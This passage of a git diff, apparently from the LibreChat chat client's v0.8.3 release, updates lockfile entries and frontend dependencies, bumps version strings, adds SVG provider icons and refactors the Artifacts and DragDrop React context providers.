+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9827,10 +9199,18 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9857,8 +9237,48 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
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+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
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+
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+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
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 }
diff --git a/client/jest.config.cjs b/client/jest.config.cjs
index f3b0b91e9b..1c698d08a3 100644
--- a/client/jest.config.cjs
+++ b/client/jest.config.cjs
@@ -1,4 +1,4 @@
-/** v0.8.3-rc1 */
+/** v0.8.3 */
 module.exports = {
   roots: ['<rootDir>/src'],
   testEnvironment: 'jsdom',
@@ -32,6 +32,7 @@ module.exports = {
     '^librechat-data-provider/react-query$':
       '<rootDir>/../node_modules/librechat-data-provider/src/react-query',
   },
+  maxWorkers: '50%',
   restoreMocks: true,
   testResultsProcessor: 'jest-junit',
   coverageReporters: ['text', 'cobertura', 'lcov'],
diff --git a/client/package.json b/client/package.json
index fcc4c99e00..250afc9990 100644
--- a/client/package.json
+++ b/client/package.json
@@ -1,6 +1,6 @@
 {
   "name": "@librechat/frontend",
-  "version": "v0.8.3-rc1",
+  "version": "v0.8.3",
   "description": "",
   "type": "module",
   "scripts": {
@@ -38,6 +38,7 @@
     "@librechat/client": "*",
     "@marsidev/react-turnstile": "^1.1.0",
     "@mcp-ui/client": "^5.7.0",
+    "@monaco-editor/react": "^4.7.0",
     "@radix-ui/react-accordion": "^1.1.2",
     "@radix-ui/react-alert-dialog": "1.0.2",
     "@radix-ui/react-checkbox": "^1.0.3",
@@ -80,7 +81,7 @@
     "lodash": "^4.17.23",
     "lucide-react": "^0.394.0",
     "match-sorter": "^8.1.0",
-    "mermaid": "^11.12.3",
+    "mermaid": "^11.13.0",
     "micromark-extension-llm-math": "^3.1.0",
     "qrcode.react": "^4.2.0",
     "rc-input-number": "^7.4.2",
@@ -93,7 +94,6 @@
     "react-gtm-module": "^2.0.11",
     "react-hook-form": "^7.43.9",
     "react-i18next": "^15.4.0",
-    "react-lazy-load-image-component": "^1.6.0",
     "react-markdown": "^9.0.1",
     "react-resizable-panels": "^3.0.6",
     "react-router-dom": "^6.30.3",
@@ -122,6 +122,7 @@
     "@babel/preset-env": "^7.22.15",
     "@babel/preset-react": "^7.22.15",
     "@babel/preset-typescript": "^7.22.15",
+    "@happy-dom/jest-environment": "^20.8.3",
     "@tanstack/react-query-devtools": "^4.29.0",
     "@testing-library/dom": "^9.3.0",
     "@testing-library/jest-dom": "^5.16.5",
@@ -130,10 +131,10 @@
     "@types/jest": "^29.5.14",
     "@types/js-cookie": "^3.0.6",
     "@types/lodash": "^4.17.15",
-    "@types/node": "^20.3.0",
+    "@types/node": "^20.19.35",
     "@types/react": "^18.2.11",
     "@types/react-dom": "^18.2.4",
-    "@vitejs/plugin-react": "^4.3.4",
+    "@vitejs/plugin-react": "^5.1.4",
     "autoprefixer": "^10.4.20",
     "babel-plugin-replace-ts-export-assignment": "^0.0.2",
     "babel-plugin-root-import": "^6.6.0",
@@ -144,16 +145,17 @@
     "identity-obj-proxy": "^3.0.0",
     "jest": "^30.2.0",
     "jest-canvas-mock": "^2.5.2",
-    "jest-environment-jsdom": "^29.7.0",
+    "jest-environment-jsdom": "^30.2.0",
     "jest-file-loader": "^1.0.3",
     "jest-junit": "^16.0.0",
+    "monaco-editor": "^0.55.1",
     "postcss": "^8.4.31",
-    "postcss-preset-env": "^8.2.0",
+    "postcss-preset-env": "^11.2.0",
     "tailwindcss": "^3.4.1",
     "typescript": "^5.3.3",
-    "vite": "^6.4.1",
+    "vite": "^7.3.1",
     "vite-plugin-compression2": "^2.2.1",
-    "vite-plugin-node-polyfills": "^0.23.0",
-    "vite-plugin-pwa": "^0.21.2"
+    "vite-plugin-node-polyfills": "^0.25.0",
+    "vite-plugin-pwa": "^1.2.0"
   }
 }
diff --git a/client/public/assets/azure-ai-search.svg b/client/public/assets/azure-ai-search.svg
new file mode 100644
index 0000000000..5db3422b9b
--- /dev/null
+++ b/client/public/assets/azure-ai-search.svg
@@ -0,0 +1 @@
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diff --git a/client/public/assets/bfl-ai.svg b/client/public/assets/bfl-ai.svg
new file mode 100644
index 0000000000..c8556b8557
--- /dev/null
+++ b/client/public/assets/bfl-ai.svg
@@ -0,0 +1,13 @@
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+</g>
+<defs>
+<clipPath id="SvgjsClipPath1011">
+<rect width="196.407" height="140.291" fill="white" transform="translate(32 59.9998)"></rect>
+</clipPath>
+</defs>
+</svg><style>@media (prefers-color-scheme: light) { :root { filter: none; } }
+@media (prefers-color-scheme: dark) { :root { filter: none; } }
+</style></svg>
\ No newline at end of file
diff --git a/client/public/assets/calculator.svg b/client/public/assets/calculator.svg
new file mode 100644
index 0000000000..440367fe9e
--- /dev/null
+++ b/client/public/assets/calculator.svg
@@ -0,0 +1 @@
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diff --git a/client/public/assets/google-search.svg b/client/public/assets/google-search.svg
new file mode 100644
index 0000000000..be3c8db3d5
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+++ b/client/public/assets/google-search.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="256" height="262" viewBox="0 0 256 262"><path fill="#4285F4" d="M255.878 133.451c0-10.734-.871-18.567-2.756-26.69H130.55v48.448h71.947c-1.45 12.04-9.283 30.172-26.69 42.356l-.244 1.622l38.755 30.023l2.685.268c24.659-22.774 38.875-56.282 38.875-96.027"/><path fill="#34A853" d="M130.55 261.1c35.248 0 64.839-11.605 86.453-31.622l-41.196-31.913c-11.024 7.688-25.82 13.055-45.257 13.055c-34.523 0-63.824-22.773-74.269-54.25l-1.531.13l-40.298 31.187l-.527 1.465C35.393 231.798 79.49 261.1 130.55 261.1"/><path fill="#FBBC05" d="M56.281 156.37c-2.756-8.123-4.351-16.827-4.351-25.82c0-8.994 1.595-17.697 4.206-25.82l-.073-1.73L15.26 71.312l-1.335.635C5.077 89.644 0 109.517 0 130.55s5.077 40.905 13.925 58.602z"/><path fill="#EB4335" d="M130.55 50.479c24.514 0 41.05 10.589 50.479 19.438l36.844-35.974C195.245 12.91 165.798 0 130.55 0C79.49 0 35.393 29.301 13.925 71.947l42.211 32.783c10.59-31.477 39.891-54.251 74.414-54.251"/></svg>
diff --git a/client/public/assets/stability-ai.svg b/client/public/assets/stability-ai.svg
new file mode 100644
index 0000000000..bdc74a14d6
--- /dev/null
+++ b/client/public/assets/stability-ai.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="256" height="213" viewBox="0 0 256 213"><defs><linearGradient id="stabilityGrad" x1="50%" x2="50%" y1="0%" y2="100%"><stop offset="0%" stop-color="#9D39FF"/><stop offset="100%" stop-color="#A380FF"/></linearGradient></defs><path fill="url(#stabilityGrad)" d="M72.418 212.45c49.478 0 81.658-26.205 81.658-65.626c0-30.572-19.572-49.998-54.569-58.043l-22.469-6.74c-19.71-4.424-31.215-9.738-28.505-23.312c2.255-11.292 9.002-17.667 24.69-17.667c49.872 0 68.35 17.667 68.35 17.667V16.237S123.583 0 73.223 0C25.757 0 0 24.424 0 62.236c0 30.571 17.85 48.35 54.052 56.798q3.802.95 3.885.976q8.26 2.556 22.293 6.755c18.504 4.425 23.262 9.121 23.262 23.2c0 12.872-13.374 20.19-31.074 20.19C21.432 170.154 0 144.36 0 144.36v47.078s13.402 21.01 72.418 21.01"/><path fill="#E80000" d="M225.442 209.266c17.515 0 30.558-12.67 30.558-29.812c0-17.515-12.67-29.813-30.558-29.813c-17.515 0-30.185 12.298-30.185 29.813s12.67 29.812 30.185 29.812"/></svg>
diff --git a/client/public/assets/tavily.svg b/client/public/assets/tavily.svg
new file mode 100644
index 0000000000..544d55319b
--- /dev/null
+++ b/client/public/assets/tavily.svg
@@ -0,0 +1,3 @@
+<svg width="56" height="56" viewBox="0 0 56 56" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M39.5137 0C45.2842 0 48.17 0 50.374 1.12305C52.3127 2.11089 53.8892 3.68731 54.877 5.62598C55.9998 7.82995 56 10.7153 56 16.4854V39.5146C56 45.2847 55.9998 48.17 54.877 50.374C53.8891 52.3127 52.3127 53.8891 50.374 54.877C48.17 56 45.2842 56 39.5137 56H16.4854C10.7148 56 7.82905 56 5.625 54.877C3.68646 53.8891 2.11082 52.3126 1.12305 50.374C0 48.17 0 45.2849 0 39.5146V16.4854C0 10.7151 0 7.82999 1.12305 5.62598C2.11082 3.68739 3.68646 2.11089 5.625 1.12305C7.82905 0 10.7148 0 16.4854 0H39.5137ZM23.8105 30.958C23.5077 30.9581 23.2076 31.0175 22.9277 31.1338C22.6478 31.2502 22.393 31.4216 22.1787 31.6367L17.7705 36.0625L16.5986 34.8867C15.7377 34.0228 14.2649 34.4498 13.9971 35.6426L12.3271 43.0713C12.2686 43.3267 12.2752 43.593 12.3477 43.8447C12.4199 44.0956 12.555 44.3246 12.7393 44.5088L12.7383 44.5107C12.922 44.6967 13.1498 44.8324 13.4004 44.9053C13.6513 44.9782 13.9173 44.9856 14.1719 44.9268L21.5713 43.25C22.7588 42.9812 23.1851 41.502 22.3242 40.6377L21.1523 39.4619L25.5615 35.0371C25.9943 34.6025 26.2373 34.012 26.2373 33.3975C26.2372 32.783 25.9942 32.1934 25.5615 31.7588L25.5029 31.6992L25.5049 31.6982L25.4434 31.6367C25.229 31.4215 24.9744 31.2503 24.6943 31.1338C24.4144 31.0174 24.1136 30.958 23.8105 30.958ZM39.7139 28.1689C38.6842 27.5158 37.3429 28.2597 37.3428 29.4824V31.1445H27.8955C28.2111 31.7502 28.3916 32.439 28.3916 33.1699C28.3915 34.2266 28.0177 35.196 27.3965 35.9521H37.3418V37.6143C37.342 38.837 38.6843 39.58 39.7139 38.9268L46.1279 34.8613C46.6077 34.5556 46.8476 34.0509 46.8477 33.5469C46.847 33.0436 46.6067 32.5399 46.126 32.2354L39.7139 28.1689ZM24.0391 10.4062C23.778 10.4051 23.5207 10.4712 23.292 10.5977C23.063 10.7243 22.869 10.9083 22.7305 11.1309L18.6807 17.5684H18.6787C18.028 18.602 18.7694 19.9499 19.9873 19.9502H21.6436V29.5137C22.3307 29.0592 23.1537 28.794 24.0381 28.7939C24.9228 28.794 25.7453 29.0599 26.4326 29.5146V19.9502H28.0898C29.3077 19.9501 30.047 18.6028 29.3975 17.5684L25.3457 11.1309C25.0415 10.6489 24.5406 10.4068 24.0391 10.4062Z" fill="#3C3A39"/>
+</svg>
diff --git a/client/src/Providers/ArtifactsContext.tsx b/client/src/Providers/ArtifactsContext.tsx
index 139f679003..fd67d5af94 100644
--- a/client/src/Providers/ArtifactsContext.tsx
+++ b/client/src/Providers/ArtifactsContext.tsx
@@ -1,7 +1,8 @@
 import React, { createContext, useContext, useMemo } from 'react';
+import { useRecoilValue } from 'recoil';
 import type { TMessage } from 'librechat-data-provider';
-import { useChatContext } from './ChatContext';
 import { getLatestText } from '~/utils';
+import store from '~/store';
 
 export interface ArtifactsContextValue {
   isSubmitting: boolean;
@@ -18,27 +19,28 @@ interface ArtifactsProviderProps {
 }
 
 export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) {
-  const { isSubmitting, latestMessage, conversation } = useChatContext();
+  const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
+  const latestMessage = useRecoilValue(store.latestMessageFamily(0));
+  const conversationId = useRecoilValue(store.conversationIdByIndex(0));
 
   const chatLatestMessageText = useMemo(() => {
     return getLatestText({
-      messageId: latestMessage?.messageId ?? null,
       text: latestMessage?.text ?? null,
       content: latestMessage?.content ?? null,
+      messageId: latestMessage?.messageId ?? null,
     } as TMessage);
   }, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]);
 
   const defaultContextValue = useMemo<ArtifactsContextValue>(
     () => ({
       isSubmitting,
+      conversationId: conversationId ?? null,
       latestMessageText: chatLatestMessageText,
       latestMessageId: latestMessage?.messageId ?? null,
-      conversationId: conversation?.conversationId ?? null,
     }),
-    [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversation?.conversationId],
+    [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversationId],
   );
 
-  /** Context value only created when relevant values change */
   const contextValue = useMemo<ArtifactsContextValue>(
     () => (value ? { ...defaultContextValue, ...value } : defaultContextValue),
     [defaultContextValue, value],
diff --git a/client/src/Providers/DragDropContext.tsx b/client/src/Providers/DragDropContext.tsx
index e5a2177f2d..b519c0171f 100644
--- a/client/src/Providers/DragDropContext.tsx
+++ b/client/src/Providers/DragDropContext.tsx
@@ -1,5 +1,5 @@
 import React, { createContext, useContext, useMemo } from 'react';
-import { getEndpointField, isAgentsEndpoint } from 'librechat-data-provider';
+import { isAgentsEndpoint, resolveEndpointType } from 'librechat-data-provider';
 import type { EModelEndpoint } from 'librechat-data-provider';
 import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider';
 import { useAgentsMapContext } from './AgentsMapContext';
@@ -9,7 +9,7 @@ interface DragDropContextValue {
   conversationId: string | null | undefined;
   agentId: string | null | undefined;
   endpoint: string | null | undefined;
-  endpointType?: EModelEndpoint | undefined;
+  endpointType?: EModelEndpoint | string | undefined;
   useResponsesApi?: boolean;
 }
 
@@ -20,13 +20,6 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
   const { data: endpointsConfig } = useGetEndpointsQuery();
   const agentsMap = useAgentsMapContext();
 
-  const endpointType = useMemo(() => {
-    return (
-      getEndpointField(endpointsConfig, conversation?.endpoint, 'type') ||
-      (conversation?.endpoint as EModelEndpoint | undefined)
-    );
-  }, [conversation?.endpoint, endpointsConfig]);
-
   const needsAgentFetch = useMemo(() => {
     const isAgents = isAgentsEndpoint(conversation?.endpoint);
     if (!isAgents || !conversation?.agent_id) {
@@ -40,6 +33,20 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
     enabled: needsAgentFetch,
   });
 
+  const agentProvider = useMemo(() => {
+    const isAgents = isAgentsEndpoint(conversation?.endpoint);
+    if (!isAgents || !conversation?.agent_id) {
+      return undefined;
+    }
+    const agent = agentData || agentsMap?.[conversation.agent_id];
+    return agent?.provider;
+  }, [conversation?.endpoint, conversation?.agent_id, agentData, agentsMap]);
+
+  const endpointType = useMemo(
+    () => resolveEndpointType(endpointsConfig, conversation?.endpoint, agentProvider),
+    [endpointsConfig, conversation?.endpoint, agentProvider],
+  );
+
   const useResponsesApi = useMemo(() => {
     const isAgents = isAgentsEndpoint(conversation?.endpoint);
     if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) {
diff --git a/client/src/Providers/MessagesViewContext.tsx b/client/src/Providers/MessagesViewContext.tsx
index f8f5eef12a..f1cae204a4 100644
--- a/client/src/Providers/MessagesViewContext.tsx
